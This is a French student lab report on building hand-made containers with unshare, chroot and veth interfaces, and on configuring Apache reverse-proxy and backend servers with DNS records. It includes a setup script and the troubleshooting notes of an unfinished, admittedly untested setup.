On redirigera les requêtes via le port 631 (TCP/UDP) toutefois il est tout à fais possible de le faire circuler sur le port 80 car les serveurs se trouvent normalement dans des conteneurs.
Au niveau de server1(équivalent pour server2) j'ai seulement cré un serveur apache2 sous cette forme:
ServerName 192.168.0.100:631 <VirtualHost 192.168.0.100:631> ServerName site1.banane.space DocumentRoot /var/www/html LogFormat "%h %l %u %t \"%r\" %>s %b" common CustomLog logs/access_log common </VirtualHost>
il peut être nécessaire de demander dans ports.conf d'écouter le port 631.
Dans le dns db.banane.space nous avons rajouter les différentes adresses:
reverse IN A 193.48.57.189 site1 IN A 193.48.57.189 site2 IN A 193.48.57.189
Nous n'avons pas réussis à tester le fonctionnement car nous avons rencontré une erreur au niveau de la commande nsenter. en effet les conteneur ne sont pas isolés des processus extérieurs. Tous nos serveurs apaches ce sont donc installés or des unshare et forcément ne cohabitent donc pas très bien ensemble. Nous avons trouvé une piste qui serait en lien avec le /proc/self du système. la commande nsenter ne reconnaît pas les processus monté pas mount
J'ai créé un script test.conf se trouvant dans /pra.
#!/bin/bash
ip addr add 192.168.0.1/24 dev carrefour ip link set dev carrefour up
echo "creation interface virtuelle"
ip link add vif1 type veth peer name eth0@vif1 ip link add vif2 type veth peer name eth0@vif2 ip link add vif3 type veth peer name eth0@vif3 ip link add vif4 type veth peer name eth0@vif4
echo "deplacement interface dans les ponts"
ip link set vif1 master monpont ip link set vif2 master carrefour ip link set vif3 master carrefour ip link set vif4 master carrefour
echo "creation conteneurs"
unshare -n -u -m -p -f chroot /chroot /bin/config.sh & pid1=$! unshare -n -u -m -p -f chroot /server1 /bin/config.sh & pid2=$! unshare -n -u -m -p -f chroot /server2 /bin/config.sh & pid3=$!
echo "deplacement interfaces dans les conteneurs" sleep 5 ip link set eth0@vif1 netns /proc/$pid1/ns/net name eth0 ip link set eth0@vif2 netns /proc/$pid1/ns/net name eth1 ip link set eth0@vif3 netns /proc/$pid2/ns/net name eth0 ip link set eth0@vif4 netns /proc/$pid3/ns/net name eth0
echo "ifup vif" sleep 5 ip link set dev vif1 up ip link set dev vif2 up ip link set dev vif3 up ip link set dev vif4 up
Ce script permet de lancer l’ensemble des commande du dessus de façon à créer et configurer les conteneurs d'un seul coup. tous le conteneur sont lancé grâce a la commande unshare avec la commande /bin/config.sh. Dans chaque système de fichier des conteneur vous trouverez donc dans /bin un fichier config.sh qui permet de faire les configurations réseaux intra-conteneur et de lancer les serveurs apaches.
Les serveurs apaches ne veulent plus se lancer à cause de l’erreur suivante:
httpd (pid 23) already running httpd (pid 11) already running httpd (pid 11) already running
les conteneur sont donc détruits car les serveurs apaches qui doivent tourner en tache de fond ne se lance pas.
configuration des serveurs apaches:
reverse proxy:
ServerName 193.48.57.189:80 <VirtualHost 193.48.57.189:80> ServerName reverse.banane.space DocumentRoot /var/www/html
ProxyPass / http://192.168.0.100:80 ProxyPassReverse / http://192.168.0.100:80 ProxyRequests Off
ProxyPass / http://192.168.0.200:80 ProxyPassReverse / http://192.168.0.200:80 ProxyRequests Off </VirtualHost>
server 1 et 2 identique a part adresse IP:
ServerName 192.168.0.100:80 <VirtualHost 192.168.0.100:80>
ServerName site1.banane.space ServerAdmin webmaster@localhost DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>